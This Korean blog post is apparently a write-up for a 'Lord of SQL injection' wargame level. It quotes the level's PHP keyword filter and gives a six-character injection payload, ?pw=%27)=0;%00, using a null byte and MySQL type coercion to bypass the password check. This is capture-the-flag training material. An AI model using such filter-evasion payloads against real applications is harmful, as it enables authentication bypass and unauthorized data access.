소스코드 분석
if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~");
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
각종 필터링에 pw는 6자리까지 사용할수있다.조건을 참만 만들어주면 풀린다.
그리고 #, -- 주석이 필터링 되어있어서 ;%00 이걸로 대체한다.
?pw=%27)=0;%00
참은 1인데 왜 0을 넣어서 참값을 만들었냐면 mysql의 자동 형변환 때문이다.
서로다른 타입을 비교하면 mysql은 2개를 같은 타입으로 비교를 한다.
'WarGame > Web' 카테고리의 다른 글
[Lord of SQL injection] dragon (0) | 2017.06.01 |
---|---|
[Lord of SQL injection] xavis (0) | 2017.06.01 |
[Lord of SQL injection] succubus (0) | 2017.05.28 |
[Lord of SQL injection] zombie_assassin (0) | 2017.05.28 |
[Lord of SQL injection] assassin (0) | 2017.05.28 |